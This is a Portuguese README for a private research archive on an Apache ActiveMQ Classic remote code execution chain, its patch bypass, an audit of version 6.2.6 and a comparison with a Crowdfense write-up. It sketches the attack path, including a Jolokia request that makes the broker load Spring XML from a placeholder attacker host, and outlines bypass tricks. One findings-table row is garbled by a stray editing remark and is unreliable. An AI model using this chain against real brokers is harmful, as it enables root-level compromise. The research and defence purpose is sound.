Pesquisa de RCE no Apache ActiveMQ Classic: cadeia de bypass dos CVE-2026-34197 / CVE-2026-42588 + resultados da auditoria do hardened-6.2.6 + comparação com Crowdfense
Arquivo privado de pesquisa para a cadeia de execução remota de código Jolokia → addNetworkConnector → xbean/Spring-XML do Apache ActiveMQ Classic (CVE-2026-34197 e sua bypass do patch CVE-2026-42588), além de uma auditoria completa de auto-pesquisa da versão corrigida 6.2.6 e uma comparação lado a lado com o artigo público de bypass do Crowdfense.
Toda exploração foi realizada contra brokers de laboratório local (Docker / auto-hospedados). Os payloads usam hosts atacantes provisórios.
| Dir | Fase | Conteúdo |
|---|---|---|
00-comparison-vs-crowdfense.md | Comparação | Nosso trabalho vs. o artigo "ActiveMQ RCE Bypass" do Crowdfense, verificado na fonte em arquivo:linha |
01-original-cve-2026-34197/ | Reprodução original | Análise + scripts PoC + payloads Spring-XML (lab: activemq-classic:5.18.6) |
02-reaudit-apr30/ | Matriz de versões | uid=0 em 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7; avaliação + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | Bypass ao vivo | Bypass composto sem parênteses (42588) + XSS no MessageServlet (42253), reproduzido ao vivo |
04-audit-6.2.6/ | Auditoria completa | Auditoria automática de pesquisa do 6.2.6 reforçado: relatório final + registro de descobertas |
Árvores de fonte do fornecedor e distribuições binárias usadas durante os laboratórios são intencionalmente excluídas (são upstream, não nossas).
Um chamador autenticado (não autenticado nas versões 6.0.0–6.1.1 via CVE-2024-32114) do Jolokia invoca BrokerView.addNetworkConnector(uri) com uma URI de descoberta manipulada cujo interior vm://…?brokerConfig=xbean:<url> força o broker a carregar um Spring XML controlado pelo atacante, que instancia ansiosamente um bean ProcessBuilder antes da validação pelo broker → execução de comando no sistema operacional.
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Manchete: três descobertas são comprovadas ao vivo para root/XSS; a auditoria 6.2.6 adiciona um conjunto mais amplo que é verificado na fonte e julgado adversarialmente, mas ainda não detonado ao vivo. Nenhuma das extras do 6.2.6 é um novo RCE não autenticado — o fornecedor fechou essas portas; o risco residual mudou para autorização e codificação de saída.
| ID | Descoberta | Classe | Severidade | Autenticação | Prova |
|---|---|---|---|---|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | Crítico | Pós-autenticação (não autenticado 6.0.0–6.1.1) | Ao vivo — uid=0 no 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 |
| CVE-2026-42588 | Bypass composto sem parênteses da lista de negação do 34197 | RCE (bypass de patch) | Crítico | Pós-autenticação | Ao vivo — uid=0 no 5.19.6 com patch 34197 + 6.2.0 |
| CVE-2026-42253 | Injeção de cabeçalho MessageServlet → XSS armazenado | Injeção / XSS | Médio | Pós-autenticação | Ao vivo no 6.2.0 |
| ID | Descoberta | Classe | Severidade | Autenticação | Notas |
|---|---|---|---|---|---|
| C1 | static: lacuna na lista de negação → SSRF — static ausente de DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP de broker de saída | SSRF | Médio | Admin / JMX | Variante de sink além da mesma lista de negação 34197/42588 que o artigo cobre |
| B1 | Exclusão IDOR de assinatura durável entre clientId — removeSubscription chaveia no clientId fornecido pela rede e não tem portão em AuthorizationBroker | Broken authz / IDOR | Médio | Pós-autenticação (pré-autenticação se a autenticação do broker estiver desligada) | O mais limpo novo |
| B3 | Senha vazia → bind anônimo no LDAP (LDAPLoginModule, sem proteção contra vazio) | Bypass de autenticação | Médio (cond.) | Pré-autenticação | Condicional no diretório aceitar binds anônimos |
| A1–A7 | Família de injeção de codificação de saída no console — MessageId.textView (OpenWire v10+ & AMQP) controlado pelo atacante sem escape em ~7 sinks JSP/REST + path-traversal em FileSystemBlobStrategy | Injeção | Baixo–Médio | Produtor → admin | Protegido por CSP para HTML/injeção de conteúdo por padrão |
| B2 | Escalação de verbo por injeção de dois-pontos no Shiro WildcardPermission | Escalação de privilégio | Baixo–Médio | Pós-autenticação | Shiro não padrão |
| B3 (já existe) | (repetido? A lista original tem B4, B5, etc. Na tabela fornecida, após B3 vem B2, depois B4. Vou seguir a ordem da entrada.) | ||||
| B4 | Assimetria de autorização para destinos temporários — falha aberta vs. falha fechada para não temporários | Broken authz | Baixo | Pós-autenticação | Por design (AMQ-4721); nota de reforço |
| B5 | StatisticsBroker replyTo pula ACL de escrita quando plugin ordenado antes da autorização | Broken authz | Baixo | Pós-autenticação | Depende da ordem de configuração |
| B6 | DN não canônico no login com certificado (getSubjectDN().getName()) → colisão de identidade entre certificados da mesma CA | Autenticação | Baixo | Pré-autenticação (validado por TLS) | Qualquer certificado autoassinado não funciona |
| B7 | Spoofing de JMSXUserID quando populateJMSXUserID=false (o padrão) | Spoofing | Baixo | Pós-autenticação | — |
| F5 | Nome de cabeçalho de saída STOMP nunca escapado → injeção de frame para assinante co-locatário | Injeção | Baixo | Cross-protocol | STOMP habilitado |
MQTT QoS ordinal AIOOBE (QoS.values()[ordinal], cross-protocol, sem configuração) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short com sinal no unmarshal OpenWire · trabalho imortal AMQ_SCHEDULED_REPEAT negativo.
O artigo Apache ActiveMQ RCE Bypass do Crowdfense cobre a mesma cadeia (eles a registram sob CVE-2026-34197; nós rastreamos o bypass como seu próprio CVE-2026-42588). Ambos os relatos convergem em uma defesa de três camadas; a única divergência é Camada 2.
| Camada | Defesa | Crowdfense derrota por | Nós derrotamos por |
|---|---|---|---|
| 1 | Lista de negação de esquema (correção 34197) | Composto sem parênteses static:vm://… | Mesmo — encontrado independentemente ✅ |
| 2 | Lista de permissão xbean {file,classpath} (#1910) | file:%2f%2f… com codificação percentual → Windows UNC → WebDAV → busca HTTP remota | Arquivo local xbean:/tmp/evil.xml (precisa de escrita local) |
| 3 | Gate de esquema VMTransportFactory (broker,properties, a correção 42588 / 6.2.6) | Reconhecido como o golpe final | Mesma conclusão ✅ |